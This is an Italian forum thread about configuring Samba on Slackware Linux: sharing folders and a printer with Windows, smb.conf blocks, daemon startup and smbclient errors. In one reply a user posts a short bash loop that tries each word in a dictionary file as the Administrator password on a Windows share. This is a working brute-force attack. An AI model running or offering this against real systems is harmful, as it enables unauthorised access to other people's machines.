Valutazione 4.87/ 5 (100.00%) 5838 voti

Condividi:        

Samba

Per tutti i tuoi problemi Linux entra qui e risolvili!

Moderatori: gunter, zendune

Samba

Postdi Luva » 17/01/03 23:46

lo riscrivo, in quanto anche se fa parte della rete locale, è un argomento a parte....
Come cavolo si configura samba?
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Sponsor
 

Postdi stellino » 18/01/03 02:32

per cominciare prova a leggere questo tutorial...
è quello che ho usato io per imparare e quindi ti scriverei le stesse cose eheheh ;-)
il tizio l'ha fatto in modo piuttosto chiaro e dettagliato e ha messo pure le fotine delle schermatine :-)
se poi hai dei problemi proviamo a studiarli, ok?
http://www.linuxzine.it/samba.php
ciao
sono un gatto =^___^=
stellino
Utente Junior
 
Post: 44
Iscritto il: 09/09/02 08:35
Località: asti

samba

Postdi Luva » 21/01/03 18:39

ho provato a leggere il tutorial.
non sono riuscito a fare vedere a windows la macchina linux....
Non hai idea da dove posso ricominciare a configurarlo?
Io voglio che linux sia il server.
ciao ciao
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi stellino » 21/01/03 23:27

dunque, nella configurazione di samba ci sono tanti passaggi, possiamo cadere in un punto qualsiasi...
cerchiamo con un po' di pazienza di isolarli...

1) presupposto fondamentale: la rete funziona?
almeno via ip le 2 macchine si devono vedere (ping indirizzo ip)

2) anche se ti interessa che il lavoro definitivo sia in una direzione sola (linux server e win client hai detto, glusto?) è utile e d'aiuto testare entrambe le direzioni:
quindi fai una cartella condivisa di prova anche sul windows (funzionerà anche da server oltre che da client e viceversa)
se linux vede windows anche se non funziona il contrario abbiamo un elemento in più per lo studio del problema...

3) che windows hai? e che errore ottieni?

4) una cosa che se ricordo bene non è scritta nel tutorial e che mi ha fatto faticare è:
windows deve fare logon con un utente uguale a uno esistente sulla tua macchina linux, su entrambe le macchine devono avere un utente con lo stesso nome e la stessa password

5) spina nel fianco! ;-) a pagina 1 ti parla dei 2 servizi smbd e nmbd...
e qui il discorso è analogo a quello che stiamo facendo dall'altro lato riguardo il servizio sshd! ;-)
risolto uno, risolti entrambi...
ad ogni modo, come già sai, non conosco slack e non so come gestisce i pacchetti;
redhat mandrake e debian hanno i loro pacchetti con binari belli pronti (i "famosi" file *.rpm e *.deb) e installano loro un unico servizio samba (o smb che a sua volta si preoccupa di far partire i 2 demoni di cui sopra...)
non so se slack ha qualcosa di analogo o se hai dovuto aprire un targz, compilare make install eccetera e compagnia balda!
in pratica dovresti avere qualcosa nelle directory di avvio esattamente insieme al famigerato sshd!

ti ho già fatto sufficienti domande? cominciamo a escludere questi elementi, ne abbiamo già da verificare, no?
;-)

esiste anche un tool di configurazione che si chiama swat, un pacchetto a parte che si installa
vi si accede poi da un browser scrivendo
http://nomemacchinaoip:901
e se hai installato webmin, ha anche lui una sezione su samba
dato che però io ho fatto le cose a mano nel modo in cui le hai lette, non ho esaminato o provato i 2 oggetti di cui sopra...
quindi non so andare a colpo sicuro con loro, anche se cmq possiamo poi guardarli lo stesso...
ad ogni modo, in caso di problemi certe prove bisogna lo stesso farle a mano... ;-)

ciaonè!?
sono un gatto =^___^=
stellino
Utente Junior
 
Post: 44
Iscritto il: 09/09/02 08:35
Località: asti

Samba no problem

Postdi tba.free » 22/01/03 17:38

Collegati con utente root e vai sotto /etc/samba
digita

smbpasswd -a utente

ti verrà chiesta una password. Verifica nel file
/etc/samba/smbpasswd la presenza dell'utente che hai appena aggiunto e la sua password cryptata.
Se l'utente non esistere nel tuo sistema crealo.

groupadd nomegruppo;
useradd -d /home/utente -g nomegruppo -m utente;
passwd utente (e gli dai la password)

Edita il files /etc/samba/smb.conf e fai una cosa del genere
alla fine del file (devi solo scommentare delle righe):


[myshare]
comment = Quello che vuoi
valid users = utente
path = /home/shared
browseable = yes
writeable = yes
create mask = 0640
directory mask = 0750


Salva il files e poi digita (sempre da root):
/etc/init.d/nmb start
/etc/init.d/smb start

al posto di start puoi mettere
start, stop restart a seconda
delle esigenze.

Se ricevi qualche errore riguarda la sintassi dei files. Se tutto va bene vai su windows da Start --> Esegui digita
\\Indirizzo.Ip.di.Linux
Se ti viene chiesto utente e password inserisci quelli che hai creato con smbpasswd.


Per montare windows su Linux invece il procedimento è più semplice:


da linea di comando:
mkdir /mnt/nome

smbmount //nomemacchina/C$ /mnt/nome -o username=Utente%password,fmask=644,dmask=755,uid=0,gid=0,ip=111.222.333.444,debug=0


il disco lo trovi naturalmente sotto /mnt/nome.

TBA



tba.free
Utente Junior
 
Post: 61
Iscritto il: 16/07/02 08:18
Località: Roma

Postdi Luva » 15/02/03 10:23

mi son messo a configurare samba, voglio condividere una stampante e dello spazio, ho seguito tutte le istruzioni, ma nn riesco a vedere da windows la cartella condivisa...
a cosa serve smbclient?

io ho provato a dare smbclient -L xxx dove xxx è il pc che ha su samba, ma mi da degli errori del tipo:
added interface ....
session request to xxx failed (Not listening for calling name)
session request to *SMBSERVER failed (Not listening for calling name)

aiuto...
ciao ciao
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Zamba

Postdi tba.free » 17/02/03 11:48

Innanzitutto ad ogni modifica del file smb.conf devi riavviare il demone:


/etc/init.d/smb restart

Assicurati che anche questo sia in esecuzione:

/etc/init.d/nmb xxx
dove xxx può essere start, stop, status o restart.

smbclient è un client simile ad ftp che ti permette di collegarti ad una macchina Windows tramite il netbios. Potresti addirittura utilizzarlo per effettuare un dictionary attack verso una macchina Windows ;).
Il suo utilizzo è più o meno questo:

smbclient -L IP_DEST -U Administrator%password
Serve per vedere eventuali risorse condivise della macchina Windows.
Una volta sapute le informazioni monta le eventuali risorse condivise in questo modo:

smbclient "//10.x.x.x/Dir_condivisa" -U Administrator%password

oppure:

#!/bin/bash
#INIZIO! Attacco al netbios tramite dizionario

for attack in $(cat dictionary.txt)
do
smbclient "//10.x.x.x/Dir_confdivisa" -U Administrator%$attack
echo "Password provata: $attack"
sleep 1
done

#FINE! Ferma con Ctrl + C


Ti appare un prompt dove puoi digitare comandi dos. Comincia con dir per l'elenco dei file e con help per avere la guida. Get e put per prelevare ed inviare dati fra la tua macchina e quella windows.
L'errore che ti viene restituito è dovuto al demone che sta giu.
Per condividere la stampante la sintassi è già presente dentro il file di configurazione devi solo decommentare le righe e riavviare il demone. Controlla l'Howto al seguente indirizzo:
http://www.ibiblio.org/pub/Linux/docs/H ... HOWTO.html



Da Windows vai su "Start -> Esegui" e digita:
\\10.X.X.X


Se ti appare un prompt di utenza e password tutto funziona.


Questi sono tutti i comandi di samba, fai una man per avere i dettagli:

smbcacls (Manipola le ACL sui files)
smbclient (Client per accedere alle cartelle condivise di Windows)
smbcontrol (Serve per fare debugging sui demoni nmbd e smbd)
smbmount (monta risorse condivise di Windows su filesystem locale di Linux)
smbumount (smonta ---)
smbpasswd (Crea una nuova aggiunta al file smbpasswd sotto /etc/samba/ )
smbsh (Come fosse una remote shell che ti permette di lanciare comandi unix sul filesystem NT - abbastanza complesso)
smbspool (Permette di stampare files su una stampante condivisa da una macchina Windows)
smbstatus (Permette di controllare ed eventualmente killare i processi degli utenti che si connettono tramite samba sul tuo pc (linux)
smbtar (Complesso. Effettua la tar su un protocollo NT)
C'è un tool grafico che ti aiuta molto, si chiama:
LinNeighborhood scaricabile da http://www.bnro.de/~schmidjo/download/ che ti aiuta moltissimo.
tba.free
Utente Junior
 
Post: 61
Iscritto il: 16/07/02 08:18
Località: Roma

Postdi sterlino » 19/02/03 14:25

tbafree ti ha risposto molto meglio rispetto a quanto avrei potuto fare io...

ma luva ha slackware che è tipo bsd e abbiamo appurato che non ha il sistema di init tipo systemv con i vari parametrini stop start status di cui parliamo sempre...
come può fare?
ave
hail to errol flynn!
let no man make law for me!
sterlino
Utente Junior
 
Post: 73
Iscritto il: 24/01/03 09:47
Località: asti

Postdi tba.free » 19/02/03 15:18

Be la Slackware purtroppo non l'ho mai bazzicata, comunque una dritta potrebbe essere quella di accertarsi della presenza di comandi simili a
startsrc e stopsrc. Questi comandi appartengono a sistemi unix tipo Aix (Di cui ignoro l'appartenenza BSD o System V).
Per tirare su un demone con questi comandi la sintassi esatta è:

startsrc -s daemon
stopsrc -s daemon
refresh -s daemon

Un altro metodo per tirare su i daemon è quello dell'inet. Si edita il
file /etc/inetd.conf e si decommentano le righe interessate. Ovviamente
il demone deve essere progettato per poter essere lanciato con inet.
Un esempio è questo:

#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd
#ftp stream tcp nowait root /usr/sbin/tcpd vsftpd

dopo le modifiche eseguire:

kill -HUP 1


Non saprei, nel tuo caso, come si dovrebbe procedere.

P.S.: Prova anche a lanciare il comando smbd -D
tba.free
Utente Junior
 
Post: 61
Iscritto il: 16/07/02 08:18
Località: Roma

Postdi Luva » 21/02/03 20:00

il demone mi pare che sia caricato...cmq il comando smbclient, nn riesco a farlo funzionare...
ho fatto come mi aveva detto tba.free...
mi da l'errore che ho riportato sopra.
Non so proprio cosa fare....magari ho dimenticato una stupidata....
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi Luva » 01/03/03 20:09

Contrordine.....il demone nn funziona un tubo....ho notato che se davo ps aux mancava all'appello il demone smbd e guardando nei log ho trovato questo errore:

kernel: Symbol table has incorrect version number
inetd[80]: netbios-ns/udp server failing (looping), service terminated

Qualcuno ha idea di cosa sia?
Grazie
ciao
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi Luva » 15/03/03 18:23

sono riuscito a far funzionare samba....
ho un problemino, la cartella publica, mi viene vista da windows come una stampante....
come faccio per farla diventare una cartella?
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi sterlino » 17/03/03 13:49

ma tu togli tutte le robe non tue...
nella sezione share definition del file smb.conf (è sempre l'ultima al fondo) ci sono tutte le condivisioni...
commenta tutto e aggiungi le tue personali...
io ho aggiunto dei blocchi così

[documenti]
comment=documenti porci partizione winzoz
path=/mnt/win_e/documenti
guest ok=no
public=yes
writable=no
browsable=yes
create mask=0777
valid users=%U
write list=fabrizio, gasilio
[cesso$]
comment=area cretinate
path=/mnt/win_e/cesso
public=yes
guest ok=no
writable=yes
printable=no
browsable=yes
create mask=0777
valid users=fabrizio, gasilio

(guarda che roba di somma violenza, funziona anche la notazione delle condivisioni invisibili fatte col $ !!)
hail to errol flynn!
let no man make law for me!
sterlino
Utente Junior
 
Post: 73
Iscritto il: 24/01/03 09:47
Località: asti

Postdi Luva » 18/03/03 18:27

problema 2:
ho una stampante condivisa sul server linux, me la vede, se la guardo da risorse di rete ecce, ma quando voglio aggiungere una stampante nuova e vado a ricercare nella rete la mia stampante condivisa mi dice che non ci sono i driver?
cosa devo fare?
la stampante è una hp 710 e sono riuscito a farla funzionare su linux con un software particolare....
help
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi Nicola » 18/03/03 18:30

se su Risorse di Rete te la visualizza semplicemente installa il software windows della stampante e come percorso metti \\ip_di_linux\nomecondivisione perchè Linux non condividi i drivers Win per i clients.
Nicola
Nicola
Utente Senior
 
Post: 7381
Iscritto il: 08/02/02 01:00

Postdi Luva » 20/03/03 18:54

Potresti essere un po più chiaro...non riesco a capire dove devo mettere il percorso...i driver della stampante che devo installare, sono quelli per windows?
ciao
grazie
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi Nicola » 20/03/03 19:22

Luva ha scritto:Potresti essere un po più chiaro...non riesco a capire dove devo mettere il percorso...i driver della stampante che devo installare, sono quelli per windows?
ciao
grazie


vai in stampante e aggiungi una stampante di rete. come percorso metti \\IP_LINUX$\nomecondivisionestampante$ e quando richiesti installa i drivers per windows.
Nicola
Nicola
Utente Senior
 
Post: 7381
Iscritto il: 08/02/02 01:00

Postdi Luva » 22/03/03 19:29

ok,ho capito, solo che la mia stampante viene configurata direttamente da windows 2000, con i driver predefiniti....
Come faccio per installarli?
mi chiede il file *.inf che non so dove prendere....
help...
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Postdi Nicola » 23/03/03 11:20

ti scarichi i drivers aggiornati dal sito e se sono zippati li unzippi.

l'inf da indicare dovrebbe essere li. lascialo con tutti gli altri files.

se non va lancia il setup dei drivers della stampante e su stampanti guarda le proprieta' dell'ultima e la porta settala come quell'altra con i drivers generici... o sennò crei una LPT (dal menu mi pare) che punti a \\IP_linux\condivisione.
Nicola
Nicola
Utente Senior
 
Post: 7381
Iscritto il: 08/02/02 01:00

Postdi Luva » 24/03/03 20:28

gli unici drivers che posso usare sono quelli di windows 2000 (predefiniti)
non riesco a trovare il file *.inf

Non riuscite a contattarmi su icq, perchè è un problema delicato...
help
Linux Slackware 10.x - Kernel 2.6.10-gX
- - - [ http://b4yzone.altervista.org ] - - -
Luva
Utente Senior
 
Post: 397
Iscritto il: 15/07/02 19:53
Località: Pavia

Prossimo

Torna a Software Linux


Topic correlati a "Samba":

Problema con Samba
Autore: maudit77
Forum: Software Linux
Risposte: 1
Samba lentezza
Autore: ICG
Forum: Software Linux
Risposte: 3
samba e password [RISOLTO]
Autore: ivo
Forum: Software Linux
Risposte: 4

Chi c’è in linea

Visitano il forum: Nessuno e 6 ospiti